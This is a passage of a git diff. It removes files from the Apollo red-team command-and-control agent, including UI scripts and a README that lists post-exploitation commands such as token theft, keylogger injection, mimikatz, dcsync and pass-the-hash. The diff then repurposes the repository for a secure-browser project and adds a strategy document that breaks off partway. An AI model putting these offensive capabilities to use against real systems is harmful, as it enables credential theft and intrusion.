"signer": {"plaintext": pinfo["company_name"], "cellStyle": {}}, - "actions": {"button": { - "name": "Actions", - "type": "menu", - "value": [ - { - "name": "More Info", - "type": "dictionary", - "value": { - "Process Path": pinfo["bin_path"], - "File Description" : pinfo["description"], - "Command Line": pinfo["command_line"], - "Window Title": pinfo["window_title"] - }, - "leftColumnTitle": "Attribute", - "rightColumnTitle": "Values", - "title": "Information for " + pinfo["name"] - }, - { - "name": "Steal Token", - "type": "task", - "ui_feature": "steal_token", - "parameters": pinfo["process_id"] - }, - { - "name": "Screenshot", - "type": "task", - "startIcon": "camera", - "ui_feature": "screenshot_inject", - "parameters": JSON.stringify({ - "pid": pinfo["process_id"], - "count": 1, - "interval": 0 - }) - }, - { - "name": "Inject Keylogger", - "type": "task", - "startIcon": "inject", - "ui_feature": "keylog_inject", - "parameters": pinfo["process_id"] - }, - { - "name": "Kill", - "type": "task", - "startIcon": "kill", - "ui_feature": "kill", - "parameters": pinfo["process_id"] - } - ] - }}, - }; - rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/reg_query.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/reg_query.js deleted file mode 100644 index e33b39c3..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/reg_query.js +++ /dev/null @@ -1,72 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let tableTitle = ""; - - let headers = [ - {"plaintext": "query", "type": "button", "cellStyle": {}, "width": 120, "disableSort": true}, - {"plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "type", "type": "string", "cellStyle": {}, "width": 100}, - {"plaintext": "value", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - let fullname = jinfo["full_name"]; - if (fullname[0] == "\\") - { - fullname = jinfo["hive"] + ":" + fullname; - } else { - fullname = jinfo["hive"] + ":\\" + fullname; - } - let shouldCopy = false; - if (jinfo["result_type"] != "key" && jinfo["value"]!=null && jinfo["value"].length > 0) { - shouldCopy = true; - } - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "query": {"button": { - "name": "query", - "type": "task", - "startIcon": "list", - "disabled": jinfo["result_type"] != "key", - "ui_feature": "reg_query", - "parameters": fullname, - "cellStyle": {}, - }}, - "name": {"plaintext": jinfo["name"], "cellStyle": {}}, - "type": {"plaintext": jinfo["value_type"], "cellStyle": {}}, - "value": {"plaintext": jinfo["value"], "copyIcon": shouldCopy, "cellStyle": {}}, - }; - rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": task.display_params, - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js deleted file mode 100644 index 6c3b4ead..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js +++ /dev/null @@ -1,144 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let tableTitle = ""; - - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - let headers = [ - {"plaintext": "actions", "type": "button", "cellStyle": {}, "width": 120, "disableSort": true}, - {"plaintext": "status", "type": "string", "cellStyle": {}, "width": 125}, - {"plaintext": "pid", "type": "string", "cellStyle": {}, "width": 125}, - {"plaintext": "service", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "display name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "binary path", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - let isStart = jinfo["status"] === "Stopped"; - let isStop = jinfo["can_stop"] && (jinfo["status"] === "Running" || jinfo["status"] === "StartPending"); - let row = { - "rowStyle": {}, - "actions": {"button": { - "name": "Actions", - "type": "menu", - "startIcon": "list", - "value": [ - { - "name": "Start", - "type": "task", - "ui_feature": "sc:start", - "parameters": JSON.stringify({ - "start": true, - "computer": jinfo["computer"], - "service": jinfo["service"], - }), - "disabled": !isStart, - "hoverText": "Start Service", - "openDialog": false, - "getConfirmation": false - }, - { - "name": "Stop", - "type": "task", - "ui_feature": "sc:stop", - "parameters": JSON.stringify({ - "stop": true, - "computer": jinfo["computer"], - "service": jinfo["service"], - }), - "disabled": !isStop, - "hoverText": "Stop Service", - "openDialog": false, - "getConfirmation": false - }, - { - "name": "Delete", - "type": "task", - "ui_feature": "sc:delete", - "parameters": { - "delete": true, - "computer": jinfo["computer"], - "service": jinfo["service"], - }, - "openDialog": false, - "getConfirmation": true, - "acceptText": "delete", - "hoverText": "Delete Service" - }, - { - "name": "Modify", - "type": "task", - "ui_feature": "sc:modify", - "parameters": { - "modify": true, - "computer": jinfo["computer"], - "service": jinfo["service"], - "dependencies": [] - }, - "openDialog": true, - "getConfirmation": false, - "hoverText": "Modify Service" - }, - { - "name": "More Info", - "type": "dictionary", - "value": { - "Service Name": jinfo["service"], - "Display Name": jinfo["display_name"], - "Description": jinfo["description"], - "Binary Path": jinfo["binary_path"], - "Run As": jinfo["run_as"], - "Start Type": jinfo["start_type"], - "Status": jinfo["status"], - "PID": jinfo["pid"] === "0" ? "":jinfo["pid"], - "Dependencies": jinfo["dependencies"].toString(), - "Service Type": jinfo["service_type"], - "Accepted Control": jinfo["accepted_controls"][0] === "0" ? "":jinfo["accepted_controls"].toString(), - "Error Control": jinfo["error_control"], - "Load Order Group": jinfo["load_order_group"], - "Computer": jinfo["computer"] - }, - "leftColumnTitle": "Attribute", - "rightColumnTitle": "Values", - "title": "Information for " + jinfo["display_name"], - "hoverText": "More Info" - } - ] - }}, - "status": {"plaintext": jinfo["status"], "cellStyle": {}}, - "pid": {"plaintext": jinfo["pid"] === "0" ? "":jinfo["pid"], "cellStyle": {}}, - "service": {"plaintext": jinfo["service"], "cellStyle": {}}, - "display name": {"plaintext": jinfo["display_name"], "cellStyle": {}}, - "binary path": {"plaintext": jinfo["binary_path"], "cellStyle": {}}, - }; - rows.push(row); - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": "Services", - }]}; - } - - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/screenshot.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/screenshot.js deleted file mode 100644 index 0b10b298..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/screenshot.js +++ /dev/null @@ -1,25 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - if(responses.length > 0){ - let responseArr = []; - for(let i = 0; i < responses.length; i++){ - try{ - let fileJSON = JSON.parse(responses[i]); - responseArr.push({ - "agent_file_id": fileJSON['file_id'], - "filename": "file.png", - }); - }catch(error){ - console.log(error); - } - } - return {"media":responseArr}; - }else{ - return {"plaintext": "No data to display..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js deleted file mode 100644 index f220f2ed..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js +++ /dev/null @@ -1,50 +0,0 @@ -function(task, responses) { - if (task.status.includes("error")) { - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - if (responses.length > 0) { - let rows = []; - let data = []; - let headers = [ - { "plaintext": "client", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "service", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "Mythic Store", "type": "string", "cellStyle": {}, width: 170 }, - { "plaintext": "Ticket", "type": "string", "fillWidth": true} - ]; - try { - data = JSON.parse(responses[0]); - } catch (error) { - console.log(error); - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - let jinfo = data; - let row = { - "client": { "plaintext": jinfo["client_fullname"], "cellStyle": {}, copyIcon: true }, - "service": { "plaintext": jinfo["service_fullname"], "cellStyle": {}, copyIcon: true }, - "Ticket": {"plaintext": jinfo["ticket"], copyIcon: true}, - "Mythic Store": { - "startIcon": responses.length >= 2 && responses[1].includes("Added credential") ? "check" : responses.length >=2 && responses[1].includes("Failed") ? "x" : "", - "startIconColor": responses.length >= 2 && responses[1].includes("Added credential") ? "success" : responses.length >=2 && responses[1].includes("Failed") ? "error" : "", - } - }; - rows.push(row); - - return { - "table": [{ - "headers": headers, - "rows": rows, - "title": "Extracted Kerberos Tickets", - }] - }; - } - - // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } - -} diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js deleted file mode 100644 index 8ddb27f0..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js +++ /dev/null @@ -1,98 +0,0 @@ -function(task, responses) { - if (task.status.includes("error")) { - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - let currentLUID = ""; - if (responses.length > 0) { - let rows = []; - let data = []; - - let headers = [ - { "plaintext": "action", "type": "button", "cellStyle": {}, "width": 100, "disableSort": true }, - { "plaintext": "client", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "service", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "luid", "type": "string", "cellStyle": {}, width: 110 }, - { "plaintext": "end", "type": "string", "cellStyle": {}, width: 170 }, - ]; - for (let i = 0; i < responses.length; i++) { - try { - data = JSON.parse(responses[i]); - } catch (error) { - if(i === 0){ - currentLUID = responses[i]; - continue; - } - console.log(error); - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - for (let j = 0; j < data.length; j++) { - let jinfo = data[j]; - if(currentLUID === "" && jinfo["current_luid"]){ - currentLUID = jinfo["current_luid"]; - } - let row = { - "action": { - "button": { - "name": "Action", - "type": "menu", - value: [ - { - name: "extract", - type: "task", - ui_feature: "apollo:ticket_cache_extract", - parameters: {service: jinfo["service_name"], luid: jinfo["luid"]} - }, - { - name: "purge", - type: "task", - ui_feature: "apollo:ticket_cache_purge", - getConfirmation: true, - parameters: {serviceName: jinfo["service_name"] + "@" + jinfo["service_realm"], luid: jinfo["luid"]} - } - ] - } - }, - "client": { "plaintext": jinfo["client_name"] + "@" + jinfo["client_realm"], "cellStyle": {}, copyIcon: true }, - "service": { "plaintext": jinfo["service_name"] + "@" + jinfo["service_realm"], "cellStyle": {}, copyIcon: true }, - "luid": { "plaintext": jinfo["luid"], "cellStyle": {} }, - "end": { "plaintext": jinfo["end_time"], "cellStyle": {} }, - "rowStyle": {backgroundColor: jinfo["luid"] === jinfo["current_luid"] ? "#85b089": ""} - }; - rows.push(row); - } - } - rows.push({ - action: { - button: { - name: "add", - startIcon: "add", - startIconColor: "success", - type: "task", - openDialog: true, - ui_feature: "apollo:ticket_cache_add", - } - }, - client: {plaintext: ""}, - service: {plaintext: ""}, - luid: {plaintext: ""}, - end: {plaintext: ""} - }) - return { - "table": [{ - "headers": headers, - "rows": rows, - "title": "Cached Kerberos Tickets" + (currentLUID !== "" ? " - current LUID: " + currentLUID : ""), - }] - }; - } - - // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } - -} diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js deleted file mode 100644 index d1e38993..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js +++ /dev/null @@ -1,78 +0,0 @@ -function(task, responses) { - if (task.status.includes("error")) { - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - if (responses.length > 0) { - let rows = []; - let data = []; - let headers = [ - { "plaintext": "action", "type": "button", "cellStyle": {}, "width": 100, "disableSort": true }, - { "plaintext": "client", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "service", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "end", "type": "string", "cellStyle": {}, "fillWidth": true }, - { "plaintext": "ticket", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for (let i = 0; i < responses.length; i++) { - try { - data = JSON.parse(responses[i]); - } catch (error) { - console.log(error); - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - for (let j = 0; j < data.length; j++) { - let jinfo = data[j]; - let row = { - "action": { - "button": { - "name": "purge", - startIcon: "delete", - startIconColor: "error", - "type": "task", - "ui_feature": "apollo:ticket_store_purge", - "parameters": {serviceName: jinfo["service_fullname"]}, - } - }, - "client": { "plaintext": jinfo["client_fullname"], "cellStyle": {}, copyIcon: true }, - "service": { "plaintext": jinfo["service_fullname"], "cellStyle": {}, copyIcon: true }, - "end": { "plaintext": jinfo["end_time"], "cellStyle": {} }, - "ticket": { "plaintext": jinfo["ticket"], "cellStyle": {}, copyIcon: true }, - }; - rows.push(row); - } - rows.push({ - action: { - button: { - name: "add", - startIcon: "add", - startIconColor: "success", - type: "task", - openDialog: true, - ui_feature: "apollo:ticket_store_add", - } - }, - client: {"plaintext": ""}, - service: {plaintext: ""}, - start: {plaintext: ""}, - end: {plaintext: ""}, - ticket: {plaintext: ""} - }) - } - return { - "table": [{ - "headers": headers, - "rows": rows, - "title": "Stored Kerberos Tickets", - }] - }; - } - - // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } - -} diff --git a/Payload_Type/apollo/main.py b/Payload_Type/apollo/main.py deleted file mode 100644 index cb41bc12..00000000 --- a/Payload_Type/apollo/main.py +++ /dev/null @@ -1,4 +0,0 @@ -import mythic_container -from apollo.mythic import * - -mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file diff --git a/README.md b/README.md index bca85219..8a0fc5d5 100644 --- a/README.md +++ b/README.md @@ -1,193 +1,32 @@ -![Apollo](documentation-payload/apollo/ApolloLandscape.svg) - -Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings. - -## Installation -To install Apollo, you'll need Mythic installed on a remote computer. You can find installation instructions for Mythic at the [Mythic project page](https://github.com/its-a-feature/Mythic/). - -From the Mythic install directory, use the following command to install Apollo as the **root** user: - -``` -./mythic-cli install github https://github.com/MythicAgents/Apollo.git -``` - -From the Mythic install directory, use the following command to install Apollo as a **non-root** user: - -``` -sudo -E ./mythic-cli install github https://github.com/MythicAgents/Apollo.git -``` - -Once installed, restart Mythic to build a new agent. - -## Notable Features -- P2P Communication -- Credential Tracking and Manipulation -- Unmanged PE, .NET Assembly, and PowerShell Script Execution -- User Exploitation Suite -- SOCKSv5 Support - -## Commands Manual Quick Reference - -Command | Syntax | Description -------- |-----------------------------------------------------------------------------------------------------------------------| ----------- -assembly_inject | `assembly_inject -PID [pid] -Assembly [assembly] -Arguments [args]` | Execute .NET assembly in remote process. -blockdlls | `blockdlls -EnableBlock [false]` | Block non-Microsoft signed DLLs from loading into post-ex jobs. -cat | `cat -Path [file]` | Retrieve the output of a file. -cd | `cd -Path [dir]` | Change working directory. -cp | `cp -Path [source] -Destination [destination]` | Copy a file from path to destination. -dcsync | `dcsync -Domain contoso.local [-User username -DC dc.ip]` | DCSync one or more user credentials -download | `download -Path [path] [-Host [hostname]]` | Download a file off the target system. -execute_assembly | `execute_assembly -Assembly [assembly.exe] -Arguments [args]` | Execute a .NET assembly registered with `register_file` -execute_coff | `execute_coff -Coff [object.x64.o] -Function [go] -Timeout [30] [-Arguments [args]]` | Execute a object file (BOF) that's been registered with `register_file` -execute_pe | `execute_pe -PE [binary.exe] -Arguments [args]` | Execute a statically compiled executable that's been registered with `register_file` -exit | `exit` | Task agent to exit. -get_injection_techniques | `get_injection_techniques` | Show currently registered injection techniques as well as the current technique. -getprivs | `getprivs` | Enable as many privileges as possible for the current access token. -ifconfig | `ifconfig` | Get Network Adapters and Interfaces -inject | `inject` | Inject a new payload into a remote process. -inline_assembly | `inline_assembly -Assembly [Assembly.exe] -Arguments [Additional Args]` | Execute a .NET assembly in the currently executing process that's been registered with `register_file` -jobkill | `jobkill [jid]` | Kill a running job in the agent. -jobs | `jobs` | List all running jobs. -keylog_inject | `keylog_inject -PID [pid]` | Inject a keylogger into a remote process. -kill | `kill -PID [pid]` | Attempt to kill the process specified by `[pid]`. -link | `link` | Link to a P2P agent via SMB or TCP. Modal popup only. -load | `load command1 command2 ...` | Load new commands into the agent. -ls | `ls [-Path [path]]` | List files and folders in `[path]`. Defaults to current working directory. -make_token | `make_token` | Impersonate a user using plaintext credentials. Modal popup. -mimikatz | `mimikatz -Command [args]` | Execute Mimikatz with the specified arguments. -mkdir | `mkdir -Path [dir]` | Create a directory. -mv | `mv -Path [source] -Destination [destination]` | Move a file from source to destination. Modal popup. -net_dclist | `net_dclist [domain.local]` | List all domain controllers for the current or specified domain. -net_localgroup_member | `net_localgroup_member -Group [groupname] [-Computer [computername]]` | Retrieve membership information from a specified group on a given computer. -net_localgroup | `net_localgroup [computer]` | Retrieve local groups known by a computer. Default to localhost. -net_shares | `net_shares [-Computer [computer]]` | Show shares of a remote PC. -netstat | `netstat [-Tcp -Udp -Established -Listen]` | Get TCP and UDP connections -powerpick | `powerpick -Command [command]` | Executes PowerShell in a sacrificial process. -powershell | `powershell -Command [command]` | Executes PowerShell in your currently running process. -powershell_import | `powershell_import` | Register a new .ps1 file to be used in other PowerShell jobs -ppid | `ppid -PID [pid_integer]` | Set the PPID of sacrificial jobs to the specified PID. -printspoofer | `printspoofer -Command [command]` | Execute a command in SYSTEM integrity so long as you have SeImpersonate privileges. -ps | `ps` | List process information. -psinject | `psinject -PID [pid] -Command [command]` | Executes PowerShell in the process specified by `[pid]`. Note: Currently stdout is not captured of child processes if not explicitly captured into a variable or via inline execution (such as `$(whoami)`). -pth | `pth -Domain [domain] -User [username] -NTLM [ntlm_hash] [-AES128 [aes128_key] -AES256 [aes256_key] -Run [program.exe]]` | Use `mimikatz`'s pth module to spawn a process with alternate credentials. -pwd | `pwd` | Print working directory. -reg_query | `reg_query -Hive [HKCU:\\|HKU:\\|HKLM:\\|HKCR:\] [-Key [keyname]]` | Query all subkeys of the specified registry path. Needs to be of the format `HKCU:\`, `HKLM:\`, or `HKCR:\`. -reg_write_value | `reg_write_value -Hive [HKCU:\\|HKU:\\|HKLM:\\|HKCR:\] -Key [keyname] [-Name [value_name] -Value [value_value]]` | Write specified values to the registry keys. -register_assembly | `register_assembly` | Register a .NET assembly with the agent to be used in .NET post-exploitation activities -register_file | `register_file` | Register a file to the agent's file cache. Used to store assemblies, executables, and PowerShell scripts. -rev2self | `rev2self` | Revert the access token to the original access token. -rm | `rm -Path [path] [-Host [hostname] -File [filename]]` | Remove a file specified by `[path]`. Alternatively, if `-File` is provided, `-Path` will be used as the directory, and `-File` will be the filename. -run | `run -Executable [binary.exe] -Arguments [args]` | Runs the binary specified by `[binary.exe]` with passed arguments (if any). -sc | `sc [-Query\|-Start\|-Stop\|-Create\|-Delete] [-Computer [computername] -DisplayName [display_name] -ServiceName [servicename] -BinPath [binpath]]` | .NET implementation of the Service Control Manager. -screenshot_inject | `screenshot_inject -PID [pid] [-Interval [int] -Count [int]]` | Get a screenshot of the desktop session associated with `PID` every `Interval` seconds for `Count` screenshots. -screenshot | `screenshot` | Get a screenshot of the current screen. -set_injection_technique | `set_injection_technique [technique]` | Set the injection technique used in post-ex jobs that require injection. -shell | `shell [command]` | Run a shell command which will translate to a process being spawned with command line: `cmd.exe /S /c [command]` -shinject | `shinject` | Inject given shellcode into a specified pid. Modal popup only. -sleep | `sleep [seconds]` | Set the callback interval of the agent in seconds. -socks | `socks -Port [port]` | Standup the socks server to proxy network traffic, routable via Mythic on `[port]`. -spawn | `spawn` | Spawn a new callback in the postex process specified by `spawnto_*`. -spawnto_x64 | `spawnto_x64 -Application [path] -Arguments [args]` | Sets the process used in jobs requiring sacrificial processes to the specified `[path]` with arguments `[args]`. -spawnto_x86 | `spawnto_x86 -Application [path] -Arguments [args]` | Sets the process used in jobs requiring sacrificial processes to the specified `[path]` with arguments `[args]`. -steal_token | `steal_token [pid]` | Attempts to steal the process's primary token specified by `[pid]` and apply it to our own session. -unlink | `unlink` | Unlink a callback linked to via the `link` command. Modal popup only. -upload | `upload` | Upload a file to a remote path on the machine. Modal popup only. -whoami | `whoami` | Report access token for local and remote operations. - -## Supported C2 Profiles - -### [HTTP Profile](https://github.com/MythicC2Profiles/http) - -The HTTP profile calls back to the Mythic server over the basic, non-dynamic profile. When selecting options to be stamped into Apollo at compile time, all options are respected with the exception of those parameters relating to GET requests. - -### [SMB Profile](https://github.com/MythicC2Profiles/smb) - -Establish communications over SMB named pipes. By default, the named pipe name will be a randomly generated GUID. - -### [TCP Profile](https://github.com/MythicC2Profiles/tcp) - -Establish communications over a specified network socket. Note: If unelevated, the user may receive a prompt to allow communications from the binary to occur over the network. - -## SOCKSv5 Support - -Apollo can route SOCKS traffic regardless of what other commands are compiled in. To start the socks server, issue `socks -Port [port]`. This starts a SOCKS server on the Mythic server which is `proxychains4` compatible. To stop the SOCKS proxy, navigate to the SOCKS page in the Mythic UI and terminate it. - -## Quality of Life Improvements - -### File Triage - -The `ls` command reports back a wealth of information and allows operators to easily copy file paths and examine permissions of files, in addition to being able to sort and filter files. Clicking the icon under the ACLs column will show all the permissions of a file. Additionally, this hooks into Mythic's native file browser. - -This shows typical ls output: -![ls browserscript](documentation-payload/apollo/commands/images/ls02.png) - -Interfaces with Mythic's filebrowser and caches data server-side: -![ls mythic builtin](documentation-payload/apollo/commands/images/filebrowser.png) - -### Process Listings - -When issuing `ps`, additional details are retrieved such as: -- Company name of the process executable -- Description of the process executable -- Full path of the process -- Integrity level of the process -- Desktop session -- Process command line arguments - -This process listing also interfaces with Mythic's builtin process browser, which allows you to see process trees more easily. - -Lastly, the associated browser script will do row highlighting based on the process's name (in a one-to-one port of [this script](https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna)) - -![ps](documentation-payload/apollo/commands/images/ps.png) - -### Portable Executable, Assembly, and PowerShell Script Caching - -Apollo can cache files for expeditious task execution. In general, control flow follows the `register_file` command followed by whatever command you wish to execute (`execute_assembly`, `powerpick`, `execute_pe`, etc.). These files are cached client side via DPAPI encrypted AES256 blobs, preventing their signatures being exposed outside of task execution. - -### Dynamic Injection Techniques - -The agent can change what code injection technique is in use by post-exploitation jobs that require injection through a suite of injection commands. Currently, injection techniques that are supported: - -- CreateRemoteThread -- QueueUserAPC (Early Bird) - -![injection](documentation-payload/apollo/commands/images/get_injection_techniques.png) - -### Job Tracking - -Agent jobs are tracked by job ID, by command, and by the arguments passed to the command so that you know what job correlates to what tasking. - -![jobs](documentation-payload/apollo/commands/images/jobs.png) - -### Artifact Tracking - -Commands that manipulate the disk, create new logons, or spawn new processes will document those changes in the Artifact Reporting page as shown below. - -![artifacts](documentation-payload/apollo/commands/images/artifacts.png) - -### And more! - -There's a number of niceities that come with pairing an agent to Mythic - too many to list in one README. Install the agent and see for yourself! - - -## Special Thanks - -A big thanks goes to those who have contributed to the project in both major and minor ways. - -- Cody Thomas, [@its_a_feature_](https://twitter.com/its_a_feature_) -- Calvin Hedler, [@001SPARTaN](https://twitter.com/001spartan) -- Lee Christensen, [@tifkin_](https://twitter.com/tifkin_) -- Brandon Forbes, [@reznok](https://twitter.com/rezn0k) -- Thiago Mayllart, [@thiagomayllart](https://twitter.com/thiagomayllart) -- Matt Hand, [@matterpreter](https://twitter.com/matterpreter) -- Hope Walker, [@IceMoonHSV](https://twitter.com/IceMoonHSV) -- Jack Ullrich, [@winternl_t](https://twitter.com/winternl_t) -- Elad Shamir, [@elad_shamir](https://twitter.com/elad_shamir) -- Ben Turner [@benpturner](https://twitter.com/benpturner) -- Ian Wallace [@strawp](https://twitter.com/strawp) -- m0rv4i [@m0rv4i](https://twitter.com/m0rv4i) -- Harley Lebeau [@r3dQu1nn](https://twitter.com/r3dQu1nn) -- Antonio Quina [@st3r30byt3](https://twitter.com/st3r30byt3) -- Sean Pierce [@secure_sean](https://twitter.com/secure_sean) -- Evan McBroom, [@EvanMcBroom](https://gist.github.com/EvanMcBroom) -- Matt Ehrnschwender, [@M_alphaaa](https://x.com/M_alphaaa) \ No newline at end of file +# NNSEC Sentinel (`project-sentinel`) + +This repository contains the build program for **NNSEC Sentinel**, an enterprise secure browser and unified network-security platform. + +## Current Status + +- Repository reset and re-initialized for Sentinel buildout. +- Deliverables are authored in `docs/deliverables/`. +- Active branch naming follows `fd/*-a96c`. + +## Deliverables + +1. `docs/deliverables/01-executive-strategy-and-architecture-summary.md` +2. `docs/deliverables/02-system-architecture-document.md` +3. `docs/deliverables/03-chromium-fork-engineering-plan.md` +4. `docs/deliverables/04-per-platform-native-implementation.md` +5. `docs/deliverables/05-backend-platform-architecture.md` +6. `docs/deliverables/06-data-model-schemas-and-multi-tenancy.md` +7. `docs/deliverables/07-dlp-engine-design.md` +8. `docs/deliverables/08-session-recording-monitoring-and-ueba.md` +9. `docs/deliverables/09-policy-engine-and-natural-language-authoring.md` +10. `docs/deliverables/10-admin-console-end-user-msp-mobile-specs.md` +11. `docs/deliverables/11-security-cryptography-and-compliance-architecture.md` +12. `docs/deliverables/12-devsecops-sdlc-and-release-engineering.md` +13. `docs/deliverables/13-go-to-market-commercial-and-legal.md` +14. `docs/deliverables/14-18-month-roadmap-and-risk-register.md` +15. Deliverable 15 runnable PoC code under `sentinel-core/` + +## Next Steps + +- Continue deepening each module from scaffold to production implementation. +- Run `make -C sentinel-core help` for local developer workflows. diff --git a/agent_capabilities.json b/agent_capabilities.json deleted file mode 100644 index 9a479ccc..00000000 --- a/agent_capabilities.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "os": ["Windows"], - "languages": [".NET Framework"] , - "features": { - "mythic": ["artifacts", "browser scripts", "credentials","docker", "dynamic loading", "file chunking", "file browser", - "keylogging", "p2p", "process browser", "push c2", "rpfwd","screenshots", "socks"], - "custom": ["bofs","key exchange", "killdate", "execute pe", "execute assembly", "inline assembly","mimikatz", "powerpick", - "donut", "shellcode injection"] - }, - "payload_output": ["exe", "shellcode", "service", "source"], - "architectures": ["x86_64"], - "c2": ["http", "smb", "tcp", "websocket"], - "mythic_version": "3.4.6", - "agent_version": "2.4.2", - "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"] -} \ No newline at end of file diff --git a/agent_icons/.keep b/agent_icons/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/agent_icons/apollo.svg b/agent_icons/apollo.svg deleted file mode 100644 index 1c6a779c..00000000 --- a/agent_icons/apollo.svg +++ /dev/null @@ -1,46 +0,0 @@ - - - -Created with Fabric.js 3.6.3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/config.json b/config.json deleted file mode 100644 index 43c9231c..00000000 --- a/config.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "exclude_payload_type": false, - "exclude_c2_profiles": false, - "exclude_documentation_payload": false, - "exclude_documentation_c2": false, - "exclude_agent_icons": false, - "remote_images": { - "apollo": "ghcr.io/mythicagents/apollo:v0.0.1.9" - } -} \ No newline at end of file diff --git a/docs/deliverables/01-executive-strategy-and-architecture-summary.md b/docs/deliverables/01-executive-strategy-and-architecture-summary.md new file mode 100644 index 00000000..6f9b0115 --- /dev/null +++ b/docs/deliverables/01-executive-strategy-and-architecture-summary.md @@ -0,0 +1,442 @@ +# Deliverable 1: Executive Strategy & Architecture Summary + +## Scope Statement + +This deliverable defines the business and technical strategy baseline for **NNSEC Sentinel** as an open-core, multi-tenant secure-browser and security-platform program. It covers market size, competitive superset analysis, initial architecture, commercialization, 18-month roadmap, budget envelope, key risks, and release gates. It is intentionally opinionated and implementation-oriented so engineering can begin immediately and auditors can trace claims to measurable targets. + +--- + +## 1. Problem Statement + +Regulated organizations are still securing work through a fragmented stack (VPN + SWG + CASB + endpoint agent + password manager + DLP + UEBA + SIEM integrations), while user activity increasingly concentrates in browser sessions. This creates high control overlap, weak policy consistency, and delayed incident response. + +### 1.1 Current Security and Cost Friction + +| Pain Area | Typical Current State (Bamboo-like fintechs) | Operational Consequence | Sentinel v1 Target | +|---|---|---|---| +| Browser trust boundary | Commodity browser + multiple extensions | Control bypass and policy drift | Forked Chromium with enforced controls | +| Tool sprawl | 6-12 overlapping products | Higher TCO, fragmented ownership | Consolidate to 1 platform + selective integrations | +| DLP latency | Multiple inline engines, often >150ms | User friction and workarounds | `<50ms` p95 synchronous policy decision | +| Incident reconstruction | 